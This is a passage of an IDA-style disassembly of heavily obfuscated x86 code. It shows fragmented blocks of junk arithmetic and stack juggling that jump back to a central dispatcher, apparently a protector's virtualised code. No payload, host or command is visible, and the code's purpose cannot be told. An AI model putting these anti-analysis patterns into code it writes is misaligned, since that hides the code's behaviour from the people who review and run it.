sub bl, ah
mov eax, [esp+12h+var_12]
jmp loc_56A960
; ---------------------------------------------------------------------------
loc_565DE1: ; CODE XREF: sub_562ABA+3B9j
mov edi, 59C66D60h
sub ebp, edi
pop edi
pop ecx
add [esp+16h+var_12], ebp
pop ebp
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_565DF4: ; CODE XREF: sub_562ABA-2375j
mov ebx, 782327EBh
sub ebx, 0AB1CF107h
add ebp, ebx
pop ebx
add esi, ebp
mov ebp, [esp+0]
push ebp
mov ebp, esp
push edi
mov edi, 7B2F08F7h
jmp loc_55EF27
; ---------------------------------------------------------------------------
loc_565E15: ; CODE XREF: sub_562ABA+1DC7j
xor edi, [esp+1Eh+var_1E]
pop esp
and ecx, esi
push [esp+1Ah+var_1A]
mov esi, [esp+1Eh+var_1E]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+22h+var_22]
pop esp
push 1164h
mov [esp+22h+var_22], eax
mov eax, esp
push ebp
mov ebp, 4
add eax, ebp
pop ebp
add eax, 4
jmp loc_570DC7
; ---------------------------------------------------------------------------
loc_565E4C: ; CODE XREF: sub_562ABA+C07Aj
mov word ptr [esp+22h+var_22], di
jmp loc_568343
; ---------------------------------------------------------------------------
loc_565E55: ; CODE XREF: sub_562ABA+E56Ej
mov ebx, 53C9494Bh
sub eax, ebx
pop ebx
jmp loc_56B7F4
; ---------------------------------------------------------------------------
loc_565E62: ; CODE XREF: sub_562ABA+3966j
add ebp, 841BA046h
add ecx, ebp
jmp loc_571541
; ---------------------------------------------------------------------------
loc_565E6F: ; CODE XREF: sub_562ABA+1FB9j
pop ebx
push edi
jmp loc_56E341
; ---------------------------------------------------------------------------
loc_565E76: ; CODE XREF: sub_562ABA+F596j
sub esp, 4
jmp loc_566010
; ---------------------------------------------------------------------------
loc_565E81: ; CODE XREF: sub_562ABA+31AAj
sub ecx, 469746B8h
add ecx, eax
add ecx, 469746B8h
push [esp-6+arg_0+2]
pop eax
push eax
mov eax, esp
jmp loc_567321
; ---------------------------------------------------------------------------
loc_565E9B: ; CODE XREF: sub_562ABA-105Cj
mov edx, 9406259h
not edx
dec edx
add edx, 222A59EFh
inc edx
xor edx, 37357680h
sub edx, 636FB888h
add edi, edx
mov edx, [esp+3Ch+var_3E+2]
jmp loc_565CED
; ---------------------------------------------------------------------------
loc_565EC0: ; CODE XREF: sub_562ABA+CDC7j
push [esp+3Ch+var_3A+2]
pop ecx
pop [esp+3Ch+var_3E+2]
pop esp
jmp loc_563886
; ---------------------------------------------------------------------------
loc_565ECE: ; CODE XREF: sub_562ABA+948Cj
xchg ebp, [esp+34h+var_36+2]
pop esp
mov [esp+30h+var_32+2], eax
mov eax, 2F971663h
sub [esp+0Ch], eax
jmp loc_57213C
; ---------------------------------------------------------------------------
loc_565EE3: ; CODE XREF: sub_562ABA+E994j
push 0DD7h
mov [esp+34h+var_36+2], esp
add [esp+34h+var_36+2], 4
mov ecx, [esp+34h+var_36+2]
add esp, 4
push edi
jmp loc_5703E2
; ---------------------------------------------------------------------------
loc_565EFE: ; CODE XREF: sub_562ABA+E666j
xchg ebp, [esp+34h+var_36+2]
jmp loc_564B8A
; ---------------------------------------------------------------------------
loc_565F06: ; CODE XREF: sub_562ABA+46CDj
pop eax
add edi, eax
sub edi, 1B8D0447h
jmp loc_564C0C
; ---------------------------------------------------------------------------
loc_565F14: ; CODE XREF: sub_562ABA+D6C8j
mov ebp, edx
pop edx
sub edx, ebp
mov ebp, [esp+2Ch+var_2C]
add esp, 4
sub edx, esi
jmp loc_56A1E9
; ---------------------------------------------------------------------------
loc_565F26: ; CODE XREF: sub_562ABA-3184j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_565F2B: ; CODE XREF: sub_562ABA+DACDj
push edi
mov edi, 614303A1h
jmp loc_56FDC4
; ---------------------------------------------------------------------------
loc_565F36: ; CODE XREF: sub_562ABA+B53Dj
pop eax
push dword ptr [esp+0]
mov ecx, [esp+12h+var_12]
push ebx
push esp
jmp loc_570010
; ---------------------------------------------------------------------------
loc_565F44: ; CODE XREF: sub_562ABA+B87Aj
add edx, ebx
mov ebx, [esp+1Ah+var_1A]
add esp, 4
xor eax, edx
mov edx, [esp+16h+var_16]
jmp loc_566B9A
; ---------------------------------------------------------------------------
loc_565F59: ; CODE XREF: sub_562ABA+DD25j
mov ecx, esp
add ecx, 4
push 4D81h
mov [esp+1Ah+var_1A], edx
mov edx, 4
sub ecx, edx
jmp loc_5652CF
; ---------------------------------------------------------------------------
loc_565F75: ; CODE XREF: sub_562ABA+7D0Dj
push [esp+1Ah+var_1A]
mov eax, [esp+1Eh+var_1E]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+1Eh+var_1E]
pop esp
jmp loc_56E4C8
; ---------------------------------------------------------------------------
loc_565F99: ; CODE XREF: sub_562ABA+989Dj
mov [esp+1Ah+var_1A], ecx
pop edx
jmp loc_5608CA
; ---------------------------------------------------------------------------
loc_565FA2: ; CODE XREF: sub_562ABA+4BDEj
dec ebp
push esi
mov esi, 48B3025Eh
jmp loc_571A78
; ---------------------------------------------------------------------------
loc_565FAE: ; CODE XREF: sub_562ABA+72E1j
pop esp
xor bh, ch
xor ch, bh
xor bh, ch
xor byte ptr [esp+16h+var_16], bh
xor bh, byte ptr [esp+16h+var_16]
xor byte ptr [esp+16h+var_16], bh
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_565FC3: ; CODE XREF: sub_562ABA+535Cj
pop edx
mov eax, edi
pop edi
add [edi+24h], eax
jmp loc_5682D7
; ---------------------------------------------------------------------------
loc_565FCF: ; CODE XREF: sub_562ABA+76A5j
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+0]
pop esp
mov [esp+0Ah+var_C+2], edi
push ebp
push edx
mov edx, 121F63D6h
jmp loc_5687B4
; ---------------------------------------------------------------------------
loc_565FF0: ; CODE XREF: sub_562ABA+14AEj
add edx, 4
push edi
jmp loc_56DEAC
; ---------------------------------------------------------------------------
loc_565FFC: ; CODE XREF: sub_562ABA+DF13j
push ax
jmp loc_569A43
; ---------------------------------------------------------------------------
loc_566003: ; CODE XREF: sub_562ABA+5B52j
sub ecx, 5A014B57h
add ecx, ebx
jmp loc_5647A7
; ---------------------------------------------------------------------------
loc_566010: ; CODE XREF: sub_562ABA+33C2j
mov [esp+1Ah+var_1A], ecx
mov ecx, 3A54663Dh
and ecx, 29320195h
jmp loc_567963
; ---------------------------------------------------------------------------
loc_566023: ; CODE XREF: sub_562ABA+59DDj
mov edx, 4
add ebp, edx
jmp loc_5664BB
; ---------------------------------------------------------------------------
loc_56602F: ; CODE XREF: sub_562ABA+F3B1j
sub al, cl
sub al, 52h
add al, 94h
pop ecx
push ebx
mov ebx, esp
add ebx, 4
jmp loc_56ADCC
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+1Ah+var_1A]
jmp sub_55FC41
; ---------------------------------------------------------------------------
loc_56604D: ; CODE XREF: sub_562ABA-3A9Ej
pop eax
jmp loc_571395
; ---------------------------------------------------------------------------
loc_566053: ; CODE XREF: sub_562ABA+67B7j
pop ecx
push edx
jmp loc_564C3E
; ---------------------------------------------------------------------------
loc_56605A: ; CODE XREF: sub_562ABA+FAA1j
push eax
mov eax, 748D0EA3h
push ebx
mov ebx, 71F33B46h
shr ebx, 1
neg ebx
shr ebx, 1
jmp loc_569023
; ---------------------------------------------------------------------------
loc_566071: ; CODE XREF: sub_562ABA+D2F0j
mov edi, [esp+0Ah+var_C+2]
jmp loc_55F9E9
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+0Ah+var_C+2]
sub esp, 4
jmp loc_55FC4A
; ---------------------------------------------------------------------------
loc_566088: ; CODE XREF: sub_562ABA+CC30j
pop esp
jmp loc_56E240
; ---------------------------------------------------------------------------
loc_56608E: ; CODE XREF: sub_562ABA-ACj
push edi
push edx
mov edx, 14A907B3h
not edx
add edx, 73CC76B1h
or edx, 45B37E23h
xor edx, 1682316Eh
jmp loc_57296B
; ---------------------------------------------------------------------------
loc_5660AE: ; CODE XREF: sub_562ABA-129Dj
sub esi, 2160441Bh
jmp loc_55E8EC
; ---------------------------------------------------------------------------
loc_5660B9: ; CODE XREF: sub_562ABA+23D4j
xchg edx, [esp+34h+var_36+2]
pop esp
jmp loc_56439A
; ---------------------------------------------------------------------------
loc_5660C2: ; CODE XREF: sub_562ABA+CCF5j
not edx
jmp sub_572714
; ---------------------------------------------------------------------------
loc_5660C9: ; CODE XREF: sub_562ABA+4E8Aj
mov esi, 0CF08FEF4h
sub edx, esi
jmp loc_564BFA
; ---------------------------------------------------------------------------
loc_5660D5: ; CODE XREF: sub_562ABA+A0C7j
xchg esi, edi
shr edi, 4
push ebp
jmp loc_56320D
; ---------------------------------------------------------------------------
loc_5660E0: ; CODE XREF: sub_562ABA+D117j
mov ebx, edi
pop edi
add ebx, 1
add ebx, 1
shr ebx, 7
jmp loc_562A8F
; ---------------------------------------------------------------------------
loc_5660F4: ; CODE XREF: sub_55FCA5+197j
sub eax, ebp
pop ebp
sub eax, 6F2D50C2h
push ecx
mov ecx, 65D5761h
add eax, ecx
pop ecx
push edi
jmp loc_568513
; ---------------------------------------------------------------------------
loc_56610B: ; CODE XREF: sub_562ABA+4F9Dj
pop esi
sub esp, 4
mov [esp+30h+var_32+2], ecx
push [esp+30h+var_2C]
mov ecx, [esp+34h+var_36+2]
jmp loc_57102D
; ---------------------------------------------------------------------------
loc_566121: ; CODE XREF: sub_562ABA+8258j
push [esp+34h+var_36+2]
pop edx
jmp loc_55FFE2
; ---------------------------------------------------------------------------
loc_56612A: ; CODE XREF: sub_562ABA-4100j
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+1Eh+var_1E]
mov esp, [esp+1Eh+var_1E]
mov [esp+1Eh+var_1E], ecx
jmp loc_5694DB
; ---------------------------------------------------------------------------
loc_566143: ; CODE XREF: sub_562ABA+A34Fj
mov edi, [esp+1Eh+var_1E]
add esp, 4
push edi
jmp loc_565357
; ---------------------------------------------------------------------------
loc_56614F: ; CODE XREF: sub_562ABA+BE51j
sub esi, 4122864Ch
add ecx, 598A25A1h
jmp loc_56C45F
; ---------------------------------------------------------------------------
loc_566160: ; CODE XREF: sub_562ABA+A2B7j
mov [esp+1Eh+var_1E], eax
mov eax, 0D5DFC764h
xor ebp, eax
pop eax
mov esi, ebp
pop ebp
not esi
neg esi
push ecx
mov ecx, 3DD11EA8h
xor ecx, 276D0D68h
push ebp
jmp loc_56C5C0
; ---------------------------------------------------------------------------
loc_566184: ; CODE XREF: sub_562ABA+A16Dj
xor ecx, [esp+1Eh+var_1E]
xor [esp+1Eh+var_1E], ecx
xor ecx, [esp+1Eh+var_1E]
pop esp
and byte ptr [esp+1Ah+var_1A], al
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_566197: ; CODE XREF: sub_562ABA+9497j
push ecx
jmp loc_570BDC
; ---------------------------------------------------------------------------
loc_56619D: ; CODE XREF: sub_562ABA+66BAj
push ebx
push [esp+26h+var_22]
pop ebx
pop [esp+26h+var_28+2]
mov esp, [esp+22h+var_22]
ror byte ptr [esp+22h+var_22], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5661B2: ; CODE XREF: sub_562ABA+DE82j
pop ebx
jmp loc_560821
; ---------------------------------------------------------------------------
loc_5661B8: ; CODE XREF: sub_562ABA-32C7j
add ebx, 3CE958CAh
add ebx, esi
sub ebx, 3CE958CAh
jmp loc_5620BC
; ---------------------------------------------------------------------------
loc_5661CB: ; CODE XREF: sub_562ABA+1CA6j
push ecx
jmp loc_569E54
; ---------------------------------------------------------------------------
loc_5661D1: ; CODE XREF: sub_562ABA-4392j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+22h+var_22]
pop esp
push eax
push ebp
mov ebp, 5E4374F6h
jmp loc_5715E0
; ---------------------------------------------------------------------------
loc_5661ED: ; CODE XREF: sub_562ABA+6C61j
mov ebx, 4
add edi, ebx
pop ebx
xor edi, [esp+22h+var_22]
xor [esp+22h+var_22], edi
jmp loc_564128
; ---------------------------------------------------------------------------
loc_566200: ; CODE XREF: sub_562ABA+6A14j
mov ebp, ecx
pop ecx
pop edi
jmp loc_56CCA6
; ---------------------------------------------------------------------------
loc_566209: ; CODE XREF: sub_562ABA+FDFj
xor eax, ebx
mov ebx, [esp+10h+var_12+2]
jmp loc_570136
; ---------------------------------------------------------------------------
loc_566213: ; CODE XREF: sub_562ABA+1D7Ej
push eax
mov al, 21h
mov bl, 0FAh
sub bl, al
pop eax
sub al, 0AEh
sub al, bl
jmp loc_56E4E0
; ---------------------------------------------------------------------------
push 5338h
mov [esp+34h+var_36+2], esi
mov esi, esp
push 0A70h
mov [esp+38h+var_3A+2], eax
mov eax, 21942BE8h
sub eax, 21942BE4h
add esi, eax
jmp loc_564D2A
; ---------------------------------------------------------------------------
loc_566247: ; CODE XREF: sub_562ABA+53FEj
xor ebp, 58E1228Dh
shr ebp, 1
add ebp, 1
xor ebp, 54897EB7h
jmp loc_566A7C
; ---------------------------------------------------------------------------
loc_566260: ; CODE XREF: sub_562ABA+644Bj
pop esp
mov [esp+34h+var_36+2], ebx
push [esp+34h+var_32+2]
mov ebx, [esp+38h+var_3A+2]
jmp loc_56E0A8
; ---------------------------------------------------------------------------
loc_566270: ; CODE XREF: sub_562ABA+5884j
push ebx
mov ebx, 36F0301Ah
jmp loc_567796
; ---------------------------------------------------------------------------
loc_56627B: ; CODE XREF: sub_562ABA-2726j
sub ebp, 1C9105DAh
sub ebp, 66E717Ch
jmp loc_570F37
; ---------------------------------------------------------------------------
loc_56628C: ; CODE XREF: sub_562ABA+F211j
add esp, 4
or [edi+1Ch], ebx
jmp loc_5714D4
; ---------------------------------------------------------------------------
loc_566297: ; CODE XREF: sub_562ABA+7E18j
add ebx, 4
xor ebx, [esp-14h+arg_10]
jmp loc_5693D5
; ---------------------------------------------------------------------------
loc_5662A2: ; CODE XREF: sub_562ABA+2833j
push eax
mov eax, ebp
jmp loc_5622BB
; ---------------------------------------------------------------------------
loc_5662AA: ; CODE XREF: sub_562ABA+8FB0j
add esp, 4
jmp loc_5706D5
; ---------------------------------------------------------------------------
loc_5662B2: ; CODE XREF: sub_562ABA+2839j
push ecx
mov ecx, 4
add ebp, ecx
mov ecx, [esp+36h+var_36]
add esp, 4
add ebp, 4
jmp loc_55EEC5
; ---------------------------------------------------------------------------
loc_5662CE: ; CODE XREF: sub_562ABA+7782j
mov ebx, 37564FD6h
jmp loc_55E8DE
; ---------------------------------------------------------------------------
loc_5662D8: ; CODE XREF: sub_562ABA+15B8j
pop esp
jmp loc_56EC87
; ---------------------------------------------------------------------------
loc_5662DE: ; CODE XREF: sub_562ABA+4CABj
pop ebx
pop cx
add al, dl
jmp loc_5603F6
; ---------------------------------------------------------------------------
loc_5662E8: ; CODE XREF: sub_562ABA+EBC3j
pop eax
push ebx
mov bl, 16h
mov al, 1Eh
sub al, bl
pop ebx
push ecx
mov ch, 0BFh
add al, ch
jmp loc_56D421
; ---------------------------------------------------------------------------
loc_5662FB: ; CODE XREF: sub_562ABA-26C9j
pop ebx
sub esp, 4
mov [esp+6+var_8+2], ebp
mov ebp, 7D180B30h
jmp loc_5722DE
; ---------------------------------------------------------------------------
loc_56630C: ; CODE XREF: sub_562ABA+CE75j
push esp
pop [esp+0Ah+var_C+2]
jmp loc_570774
; ---------------------------------------------------------------------------
loc_566315: ; CODE XREF: sub_562ABA+C1D6j
mov ebx, 6CB052DBh
sub ebx, 560F1E5Fh
shr ebx, 5
jmp loc_55F0EB
; ---------------------------------------------------------------------------
loc_566328: ; CODE XREF: sub_562ABA+12FAj
push 382Fh
mov [esp+3Ah+var_3A], ebp
mov ebp, esp
add ebp, 4
push edi
mov edi, 4
sub ebp, edi
jmp loc_5728E9
; ---------------------------------------------------------------------------
loc_566345: ; CODE XREF: sub_562ABA+C8E7j
push ebp
push [esp+42h+var_3E]
mov ebp, [esp+46h+var_46]
add esp, 4
pop [esp+42h+var_42]
mov esp, [esp+3Eh+var_3E]
imul ecx, eax
push ecx
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_566363: ; CODE XREF: sub_55FCA5+217j
xchg ebp, [esp+46h+var_46]
pop esp
push 6C0Ch
mov [esp+46h+var_46], edi
mov edi, esp
jmp loc_56CDCE
; ---------------------------------------------------------------------------
loc_566376: ; CODE XREF: sub_562ABA+FF6Dj
xor ebx, 9E106BEh
mov ebp, ebx
pop ebx
mov esi, 118FF7B7h
add esi, ebp
pop ebp
jmp loc_55F138
; ---------------------------------------------------------------------------
loc_56638C: ; CODE XREF: sub_562ABA+2C17j
pop esp
mov [esp+2Ah+var_2C+2], ebx
push 4EF8h
mov [esp+0], ebp
jmp loc_5613E5
; ---------------------------------------------------------------------------
loc_56639D: ; CODE XREF: sub_562ABA+3C7Ej
sub edx, 4
jmp loc_56F8BD
; ---------------------------------------------------------------------------
loc_5663A8: ; CODE XREF: sub_562ABA+92B2j
add [esp+0], eax
push ebx
mov ebx, 6F736DD0h
add [esp+4], ebx
pop ebx
push ebx
push 3040h
mov [esp+36h+var_36], ebp
jmp loc_56278C
; ---------------------------------------------------------------------------
loc_5663C4: ; CODE XREF: sub_562ABA+BC7Cj
mov eax, esp
jmp loc_55F107
; ---------------------------------------------------------------------------
loc_5663CB: ; CODE XREF: sub_562ABA+10Fj
or eax, 716E7D3Dh
jmp loc_56AA52
; ---------------------------------------------------------------------------
loc_5663D5: ; CODE XREF: sub_562ABA+4776j
pop ecx
jmp loc_55EE4A
; ---------------------------------------------------------------------------
loc_5663DB: ; CODE XREF: sub_562ABA+4518j
sub al, cl
pop ecx
push ebx
mov bh, 0A8h
shl bh, 1
jmp loc_563C12
; ---------------------------------------------------------------------------
loc_5663E8: ; CODE XREF: sub_562ABA+C901j
pop eax
add esi, 5CB5EC4h
add esi, ecx
sub esi, 5CB5EC4h
add esi, 6F6D46E8h
push edx
mov edx, 7CB03C39h
sub edx, 48C0E50Eh
sub esi, edx
pop edx
jmp loc_562E78
; ---------------------------------------------------------------------------
loc_566411: ; CODE XREF: sub_562ABA+64B4j
add ebp, 6BAA48DEh
push ecx
mov ecx, 423655C2h
xor ebp, ecx
pop ecx
jmp loc_565E62
; ---------------------------------------------------------------------------
loc_566425: ; CODE XREF: sub_562ABA+BA78j
mov edx, 6C937044h
jmp loc_563B06
; ---------------------------------------------------------------------------
loc_56642F: ; CODE XREF: sub_562ABA+8D7j
mov esi, [esp+0]
jmp loc_56E34B
; ---------------------------------------------------------------------------
loc_566437: ; CODE XREF: sub_562ABA+8606j
sub esi, 0D2430477h
and ebp, esi
pop esi
or ebp, 164E2629h
dec ebp
push eax
jmp loc_56483D
; ---------------------------------------------------------------------------
loc_56644D: ; CODE XREF: sub_562ABA+CEB2j
mov esi, edi
push esi
pop eax
mov esi, [esp+0]
push ecx
jmp loc_56D777
; ---------------------------------------------------------------------------
loc_56645A: ; CODE XREF: sub_55FCA5+159j
mov ebx, 62D22715h
sub ebx, 62D22715h
mov [edi+20h], ebx
mov ebx, [esp+32h+var_32]
sub esp, 4
mov [esp+36h+var_36], edx
jmp loc_56E378
; ---------------------------------------------------------------------------
loc_566479: ; CODE XREF: sub_561161+9j
add edi, 4
sub edi, 4
xchg edi, [esp+36h+var_36]
mov esp, [esp+36h+var_36]
push 51F9h
mov [esp+3Ah+var_3A], esp
add [esp+3Ah+var_3A], 4
pop [esp+3Ah+var_3A]
add [esp+36h+var_36], 4
push [esp+36h+var_36]
mov ecx, [esp+3Ah+var_3A]
add esp, 4
jmp loc_56DBA8
; ---------------------------------------------------------------------------
loc_5664B2: ; CODE XREF: sub_562ABA+507Ej
push [esp+36h+var_36]
pop edi
jmp loc_56CFDE
; ---------------------------------------------------------------------------
loc_5664BB: ; CODE XREF: sub_562ABA+3570j
pop edx
jmp loc_56F9B9
; ---------------------------------------------------------------------------
loc_5664C1: ; CODE XREF: sub_562ABA+185j
sub edx, 4
xchg edx, [esp-0Ah+arg_4+2]
mov esp, [esp-0Ah+arg_4+2]
jmp loc_567EBD
; ---------------------------------------------------------------------------
loc_5664D2: ; CODE XREF: sub_562ABA+684Dj
add edx, 4
sub esp, 4
mov [esp-6+arg_0+2], ebx
mov ebx, 4
sub edx, ebx
pop ebx
xchg edx, [esp-0Ah+arg_4+2]
jmp loc_5635F2
; ---------------------------------------------------------------------------
loc_5664EE: ; CODE XREF: sub_562ABA+C815j
pop eax
sub eax, 528A17E2h
pop ebp
push edi
mov edi, 39165C30h
dec edi
xor edi, 3A257542h
jmp loc_56F2F5
; ---------------------------------------------------------------------------
loc_566507: ; CODE XREF: sub_562ABA+A19j
sub ebp, eax
jmp loc_5673D3
; ---------------------------------------------------------------------------
loc_56650E: ; CODE XREF: sub_562ABA+E283j
mov [esp+14h+var_16+2], esi
mov esi, 4
add ecx, esi
pop esi
add ecx, 4
xchg ecx, [esp+10h+var_12+2]
pop esp
jmp loc_563452
; ---------------------------------------------------------------------------
loc_566528: ; CODE XREF: sub_562ABA+CB78j
add esp, 4
add esp, 4
sub al, 89h
jmp loc_5670E6
; ---------------------------------------------------------------------------
loc_56653B: ; CODE XREF: sub_562ABA+21D5j
pop ebx
mov esi, edi
jmp loc_55EEA2
; ---------------------------------------------------------------------------
loc_566543: ; CODE XREF: sub_562ABA+4202j
sub esp, 4
mov [esp+14h+var_16+2], edi
push [esp+14h+var_12+2]
mov edi, [esp+18h+var_1A+2]
add esp, 4
jmp loc_571DD7
; ---------------------------------------------------------------------------
loc_566558: ; CODE XREF: sub_562ABA+5409j
mov ebx, 5B700AE0h
shr ebx, 2
jmp loc_56DE3F
; ---------------------------------------------------------------------------
loc_566565: ; CODE XREF: sub_562ABA+B54j
or eax, 37FC78BFh
sub eax, 0FFFE79FBh
add ecx, eax
jmp loc_561670
; ---------------------------------------------------------------------------
loc_566576: ; CODE XREF: sub_562ABA+1D77j
add edx, 3B644136h
jmp loc_568868
; ---------------------------------------------------------------------------
loc_566581: ; CODE XREF: sub_562ABA+6E0Fj
not edi
add edi, 47932146h
jmp loc_55ED7C
; ---------------------------------------------------------------------------
loc_56658E: ; CODE XREF: sub_562ABA+C373j
add eax, ebx
push dword ptr [esp+0]
pop ebx
add esp, 4
xchg eax, [esp+2Ah+var_2C+2]
mov esp, [esp+2Ah+var_2C+2]
add eax, 2
jmp loc_55E15A
; ---------------------------------------------------------------------------
loc_5665A7: ; CODE XREF: sub_562ABA+5161j
add ebp, esi
pop esi
add eax, ebp
jmp loc_571A83
; ---------------------------------------------------------------------------
loc_5665B1: ; CODE XREF: sub_562ABA+AA43j
pop eax
xor ebp, 2C650DC9h
sub ebp, 412D60ADh
sub ebp, 0DD04C956h
jmp loc_56A534
; ---------------------------------------------------------------------------
loc_5665C9: ; CODE XREF: sub_562ABA-3815j
sub ebx, 0BD72B3Ch
jmp sub_55E50D
; ---------------------------------------------------------------------------
loc_5665D4: ; CODE XREF: sub_562ABA+B979j
or eax, eax
jz loc_56C255
push eax
mov eax, esp
push ebp
jmp loc_570C91
; ---------------------------------------------------------------------------
loc_5665E5: ; CODE XREF: sub_562ABA+665Cj
sub ebx, 28D408B0h
push esi
mov esi, 263E1AFAh
or esi, 3DA64BB5h
jmp loc_564178
; ---------------------------------------------------------------------------
loc_5665FC: ; CODE XREF: sub_561E53+43j
mov eax, edi
pop edi
add eax, 474C448Bh
xor eax, 11126C9Bh
push ebx
jmp loc_571B3F
; ---------------------------------------------------------------------------
loc_56660F: ; CODE XREF: sub_562ABA-2E47j
mov ecx, esp
add ecx, 4
jmp loc_56743E
; ---------------------------------------------------------------------------
loc_56661C: ; CODE XREF: sub_562ABA+5DE0j
sub ebx, 28B41B88h
or ecx, ebx
jmp loc_569F4B
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_566631: ; CODE XREF: sub_562ABA+5AFEj
add edi, ebx
pop ebx
push [esp+14h+var_16+2]
pop ecx
push 3D86h
mov [esp+18h+var_1A+2], edi
jmp loc_56DBBE
; ---------------------------------------------------------------------------
loc_566645: ; CODE XREF: sub_562ABA+1D08j
add esp, 4
xchg ecx, [esp+6+var_8+2]
jmp loc_56C9EA
; ---------------------------------------------------------------------------
loc_566650: ; CODE XREF: sub_562ABA+6B7Ej
push 5820h
mov [esp+0Ah+var_C+2], ecx
mov ecx, 20C9280Bh
xchg ebp, ecx
neg ebp
xchg ebp, ecx
jmp sub_55E502
; ---------------------------------------------------------------------------
loc_566668: ; CODE XREF: sub_562ABA-1216j
pop [esp+36h+var_36]
mov esp, [esp+32h+var_32]
sub esp, 4
jmp loc_56FD85
; ---------------------------------------------------------------------------
loc_566676: ; CODE XREF: sub_562ABA+DCAAj
pop ecx
jmp loc_56270D
; ---------------------------------------------------------------------------
loc_56667C: ; CODE XREF: sub_562ABA+679Aj
pop ebp
pop dword ptr [esp+0]
pop esp
add esp, 4
shr eax, 0Eh
xor eax, ecx
sub esp, 4
mov [esp+26h+var_28+2], eax
jmp loc_56E15D
; ---------------------------------------------------------------------------
neg [esp+26h+var_28+2]
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5666A0: ; CODE XREF: sub_562ABA+8AE2j
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+2Ah+var_2C+2]
pop esp
jmp loc_55E6C2
; ---------------------------------------------------------------------------
loc_5666B4: ; CODE XREF: sub_562ABA-430j
sub ebx, eax
push 1A50h
jmp loc_569FCE
; ---------------------------------------------------------------------------
loc_5666C0: ; CODE XREF: sub_562ABA+8FD1j
pop eax
sub ebx, 4A265491h
jmp loc_56C2B2
; ---------------------------------------------------------------------------
loc_5666CC: ; CODE XREF: sub_562ABA+45A5j
mov [esp-0Ah+arg_4+2], edx
mov edx, esp
jmp loc_56F1FF
; ---------------------------------------------------------------------------
loc_5666D6: ; CODE XREF: sub_562ABA-16A1j
neg ecx
shr ecx, 2
jmp loc_563174
; ---------------------------------------------------------------------------
loc_5666E0: ; CODE XREF: sub_562ABA+E68Fj
sub ah, 37h
jmp loc_56F338
; ---------------------------------------------------------------------------
loc_5666E8: ; CODE XREF: sub_562ABA+AA9Ej
pop esi
jmp loc_56F963
; ---------------------------------------------------------------------------
loc_5666EE: ; CODE XREF: sub_562ABA+A8Ej
xor [esp+36h+var_36], eax
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5666F6: ; CODE XREF: sub_562ABA+E39Aj
mov esi, 713F23FFh
not esi
and esi, 256F2FE7h
inc esi
jmp loc_571C34
; ---------------------------------------------------------------------------
loc_566709: ; CODE XREF: sub_562ABA+11F5j
pop [esp+32h+var_32]
mov esp, [esp+0]
push 189Ah
mov [esp+32h+var_32], ecx
jmp loc_56523E
; ---------------------------------------------------------------------------
loc_56671C: ; CODE XREF: sub_562ABA+C1BFj
push [esp+32h+var_32]
jmp loc_5635A6
; ---------------------------------------------------------------------------
loc_566724: ; CODE XREF: sub_562ABA+1D8Aj
pop eax
push ecx
mov ecx, 2AF655BBh
jmp loc_5669CF
; ---------------------------------------------------------------------------
loc_566730: ; CODE XREF: sub_562ABA+DAC2j
mov edx, esp
add edx, 4
jmp loc_56639D
; ---------------------------------------------------------------------------
loc_56673D: ; CODE XREF: sub_562ABA+819Dj
and edi, 5C816239h
jmp loc_56CBB6
; ---------------------------------------------------------------------------
loc_566748: ; CODE XREF: sub_562ABA-210Aj
mul cl
movzx cx, ah
jmp loc_56D8BE
; ---------------------------------------------------------------------------
loc_566753: ; CODE XREF: sub_562ABA+7698j
pop ebx
jmp loc_55F1BC
; ---------------------------------------------------------------------------
loc_566759: ; CODE XREF: sub_562ABA+FE92j
push cx
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_566761: ; CODE XREF: sub_562ABA+99D0j
sub bl, 3Ch
dec bl
sub bl, 0E5h
jmp loc_56736E
; ---------------------------------------------------------------------------
loc_56676E: ; CODE XREF: sub_562ABA+BAB0j
sub ebp, 4
jmp loc_56AA9F
; ---------------------------------------------------------------------------
loc_566779: ; CODE XREF: sub_562ABA+5F2j
mov edi, 20E109Fh
shr edi, 6
add edi, 49B24DF9h
sub edi, 6B53335Bh
jmp loc_56D89E
; ---------------------------------------------------------------------------
loc_566792: ; CODE XREF: sub_562ABA+8424j
pop ecx
pop ebp
push eax
mov eax, 2
jmp loc_56773C
; ---------------------------------------------------------------------------
loc_56679F: ; CODE XREF: sub_562ABA+EC1j
mov eax, esp
jmp loc_56B8C1
; ---------------------------------------------------------------------------
loc_5667A6: ; CODE XREF: sub_562ABA+1202j
pop esi
jmp loc_564A45
; ---------------------------------------------------------------------------
loc_5667AC: ; CODE XREF: sub_562ABA+F330j
mov edi, [esp+0]
add esp, 4
sub esp, 4
jmp loc_56ADDD
; ---------------------------------------------------------------------------
loc_5667BA: ; CODE XREF: sub_562ABA-3004j
pop esp
push esp
pop [esp+12h+var_12]
push esi
jmp loc_563F4E
; ---------------------------------------------------------------------------
loc_5667C5: ; CODE XREF: sub_562ABA+68B1j
add esi, 4
jmp loc_56B110
; ---------------------------------------------------------------------------
loc_5667CD: ; CODE XREF: sub_562ABA+2DFFj
sub ecx, edx
jmp loc_5695CD
; ---------------------------------------------------------------------------
loc_5667D4: ; CODE XREF: sub_562ABA+1F45j
mov edi, 4BC011C4h
jmp loc_56088F
; ---------------------------------------------------------------------------
loc_5667DE: ; CODE XREF: sub_562ABA+E980j
push 107Bh
jmp loc_565616
; ---------------------------------------------------------------------------
loc_5667E8: ; CODE XREF: sub_562ABA+9F33j
cmp cl, al
pushf
jmp loc_572AFA
; ---------------------------------------------------------------------------
